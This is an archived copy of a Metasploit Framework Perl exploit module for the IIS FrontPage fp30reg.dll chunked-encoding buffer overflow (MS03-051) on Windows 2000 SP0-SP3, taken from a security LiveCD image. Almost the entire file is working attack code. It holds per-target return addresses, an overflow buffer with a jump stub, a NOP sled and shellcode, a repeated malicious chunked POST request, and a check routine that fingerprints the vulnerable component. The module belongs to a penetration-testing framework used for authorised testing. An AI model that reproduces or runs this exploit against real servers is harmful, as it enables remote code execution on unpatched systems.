home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis_fp30reg_chunked.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  175 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis_fp30reg_chunked;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'IIS FrontPage fp30reg.dll Chunked Overflow',
  20.     'Version' => '$Revision: 1.3 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'win2000' ],
  25.     'Priv'  => 0,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 80],
  31.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'Space'  => 1024,
  37.         'BadChars'  => "\x00+&=%\x0a\x0d\x20",
  38.       },
  39.  
  40.     'Description'  => Pex::Text::Freeform(qq{
  41.         This is an exploit for the chunked encoding buffer overflow
  42.     described in MS03-051 and originally reported by Brett
  43.     Moore. This particular modules works against versions of
  44.     Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
  45.     issue.
  46. }),
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['OSVDB', '2952'],
  51.         ['MSB',   'MS03-051'],
  52.         ['MIL',   '29'],
  53.       ],
  54.  
  55.     'DefaultTarget' => 0,
  56.     'Targets' =>
  57.       [
  58.         ['Windows 2000 SP0-SP3',  0x6c38a4d0],   # from mfc42.dll
  59.         ['Windows 2000 07/22/02', 0x67d44eb1],   # from fp30reg.dll 07/22/2002
  60.         ['Windows 2000 10/06/99', 0x67d4665d],   # from fp30reg.dll 10/06/1999
  61.       ],
  62.  
  63.     'Keys' => ['iis'],
  64.  
  65.     'DisclosureDate' => 'Nov 11 2003',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Exploit {
  75.     my $self = shift;
  76.  
  77.     my $target_host = $self->GetVar('RHOST');
  78.     my $target_port = $self->GetVar('RPORT');
  79.     my $target_idx  = $self->GetVar('TARGET');
  80.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  81.  
  82.     my @targets;
  83.     my @offsets;
  84.     my $pad;
  85.  
  86.     my $ret = defined($target_idx) ? ($self->Targets->[ $target_idx ]->[1]) : $self->Targets->[0]->[1];
  87.     my $pattern = Pex::Text::PatternCreate(0xDEAD);
  88.  
  89.     if (! $self->InitNops(128)) {
  90.         $self->PrintLine("[*] Failed to initialize the nop module.");
  91.         return;
  92.     }
  93.  
  94.     my $count = 0;
  95.     while (1)
  96.     {
  97.         if ($count % 3 == 0)
  98.         {
  99.             $self->PrintLine("[*] Refreshing remote process...");
  100.             my $res = $self->Check();
  101.             $count = 0;
  102.         }
  103.  
  104.         substr($pattern, 128, 4, pack("V", $ret));
  105.         substr($pattern, 264, 4, pack("V", $ret));
  106.         substr($pattern, 160, 7, "\x2d\xff\xfe\xff\xff" . "\xff\xe0");
  107.         substr($pattern, 280, 512, $self->MakeNops(512));
  108.         substr($pattern, 792, length($shellcode), $shellcode);
  109.  
  110.         my $request;
  111.         $request  = "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
  112.         $request .= "Host: $target_host:$target_port\r\n";
  113.         $request .= "Transfer-Encoding: chunked\r\n";
  114.         $request .= "\r\n";
  115.         $request .= "DEAD\r\n";
  116.         $request .= $pattern . "\r\n";
  117.         $request .= "0\r\n";
  118.  
  119.         my $s = Msf::Socket::Tcp->new
  120.           (
  121.             'PeerAddr'  => $target_host,
  122.             'PeerPort'  => $target_port,
  123.             'LocalPort' => $self->GetVar('CPORT'),
  124.             'SSL'       => $self->GetVar('SSL'),
  125.           );
  126.         if ($s->IsError) {
  127.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  128.             return;
  129.         }
  130.  
  131.         $self->PrintLine("[*] Sending exploit request...");
  132.         $s->Send($request);
  133.         sleep(1);
  134.         $s->Close();
  135.         $count++;
  136.     }
  137.     return;
  138. }
  139.  
  140. sub Check {
  141.     my ($self) = @_;
  142.     my $target_host = $self->GetVar('RHOST');
  143.     my $target_port = $self->GetVar('RPORT');
  144.  
  145.     my $getreq = "GET /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n".
  146.       "Host: $target_host:$target_port\r\n\r\n";
  147.  
  148.     my $s = Msf::Socket::Tcp->new
  149.       (
  150.         'PeerAddr'  => $target_host,
  151.         'PeerPort'  => $target_port,
  152.         'LocalPort' => $self->GetVar('CPORT'),
  153.         'SSL'       => $self->GetVar('SSL'),
  154.       );
  155.     if ($s->IsError) {
  156.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  157.         return $self->CheckCode('Connect');
  158.     }
  159.  
  160.     $s->Send($getreq);
  161.     my $res = $s->Recv(-1, 10);
  162.     $s->Close();
  163.  
  164.     if ($res !~ /501 Not Implemented/)
  165.     {
  166.         $self->PrintLine("[*] Frontpage component was not found");
  167.         return $self->CheckCode('Safe');
  168.     }
  169.  
  170.     $self->PrintLine("[*] Frontpage component found");
  171.     return $self->CheckCode('Detected');
  172. }
  173.  
  174. 1;
  175.